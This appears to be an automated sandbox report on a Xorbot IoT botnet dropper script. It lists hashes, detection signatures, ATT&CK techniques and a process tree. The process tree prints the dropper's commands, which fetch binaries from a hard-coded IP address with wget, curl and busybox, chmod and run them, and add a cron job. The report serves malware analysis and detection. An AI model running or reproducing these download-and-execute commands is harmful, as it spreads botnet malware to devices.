xorbot | 870cc4d0c483bf5dc2a67c7cbeaabb3a3473a56c94d3552e71c0d69907bc1d3c

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20240418-en
resource tags

arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
13/12/2024, 00:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bins.sh
Size

10KB
MD5

c0ad2b98db1b8c83e6da5f77a57d8350
SHA1

545c2cc1265a02324abccba69783a150fedf92eb
SHA256

870cc4d0c483bf5dc2a67c7cbeaabb3a3473a56c94d3552e71c0d69907bc1d3c
SHA512

9eb128346360523f2f5f83573cb5887bc11851a1d4ded13384c1b72e47d760f4f9463dddb5dfb9e9388765de94d2c161c5c5a1bf44bb8a3fca99c6243e6fb82d
SSDEEP

192:8FWgRmRyRlSykOImIVR9ah5rR9ah5g5SRmRyRlSy5:8FWlOImIq5M

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-6.dat	family_xorbot
behavioral3/files/fstream-7.dat	family_xorbot
behavioral3/files/fstream-8.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2095) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
735	chmod
751	chmod
774	chmod
890	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja	736	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
/tmp/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d	752	2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
/tmp/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx	775	MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
/tmp/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG	891	7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG

Renames itself 1 IoCs

pid	Process
737	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.2SgG7N	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/951/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/953/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/977/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/837/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/939/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/908/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/72/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/838/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/778/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/854/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/757/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/765/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/1009/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/20/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/835/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/750/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/809/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/818/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/862/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/7/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/15/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/805/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/853/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/943/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/24/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/773/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/828/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/869/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/897/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/989/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/999/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/777/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/820/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/788/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/833/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/961/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/962/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/997/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/10/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/783/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/870/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/705/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/842/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/984/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/916/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/986/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/987/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/680/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/801/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/389/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/787/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/857/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/907/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/995/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/16/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/126/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/872/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/1013/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/827/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/839/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/936/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/964/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
File opened for reading	/proc/19/cmdline	97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG	busybox
File opened for modification	/tmp/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja	wget
File opened for modification	/tmp/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja	curl
File opened for modification	/tmp/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja	busybox
File opened for modification	/tmp/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d	busybox
File opened for modification	/tmp/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:705
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:709
- /usr/bin/wget
  wget http://216.126.231.164/bins/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
  2⤵
  - Writes file to tmp directory
  PID:711
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
  2⤵
  - Writes file to tmp directory
  PID:732
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
  2⤵
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod 777 97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
  ./97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:736
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:738
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:739
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:740
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:741
- /bin/rm
  rm 97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja
  2⤵
  PID:745
- /usr/bin/wget
  wget http://216.126.231.164/bins/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
  2⤵
  PID:747
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod 777 2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
  2⤵
  - File and Directory Permissions Modification
  PID:751
- /tmp/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
  ./2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
  2⤵
  - Executes dropped EXE
  PID:752
- /bin/rm
  rm 2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d
  2⤵
  PID:756
- /usr/bin/wget
  wget http://216.126.231.164/bins/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
  2⤵
  PID:759
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
  2⤵
  - Writes file to tmp directory
  PID:761
- /bin/chmod
  chmod 777 MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
  ./MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
  2⤵
  - Executes dropped EXE
  PID:775
- /bin/rm
  rm MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx
  2⤵
  PID:779
- /usr/bin/wget
  wget http://216.126.231.164/bins/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
  2⤵
  PID:780
- /usr/bin/curl
  curl -O http://216.126.231.164/bins/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
  2⤵
  - Reads runtime system information
  PID:863
- /bin/busybox
  /bin/busybox wget http://216.126.231.164/bins/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
  2⤵
  - Writes file to tmp directory
  PID:867
- /bin/chmod
  chmod 777 7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
  ./7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm 7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG
  2⤵
  PID:894
- /usr/bin/wget
  wget http://216.126.231.164/bins/AoOBL3IHSoWB9C7HD5Jd98RWPeDztOIrzu
  2⤵
  PID:895

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/2PBaehA3GcDESmdXtN3L7VicJnnQ8Dwk8d

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/7uqmYlFuWk2YJALn2bbEDMRd6gsxcpjdLG

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/97lF70zTPyGrKaUt3I84MRXKQ4omoMHBja

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/MJfVvlWUUIh8qRgBJANoJcIXmddCeoXbOx

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/var/spool/cron/crontabs/tmp.2SgG7N

Filesize
210B

MD5
7907c079f6e86f005907a84930a5c9f2

SHA1
e9c9cd9e129952929f75579ccdc7c0898ef208d6

SHA256
6a1db8fa6c16db2ba34a9bcd7176262d2794da7fbe04f3584f921278dfc4a429

SHA512
aea6a9b3a7fcada59d15bb570515125c15a36130df358c0e3e099d160c41e6a70673207b045a50dd0eed028f2fc0a2151f15249eb8916df3af863d7b161eee15

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads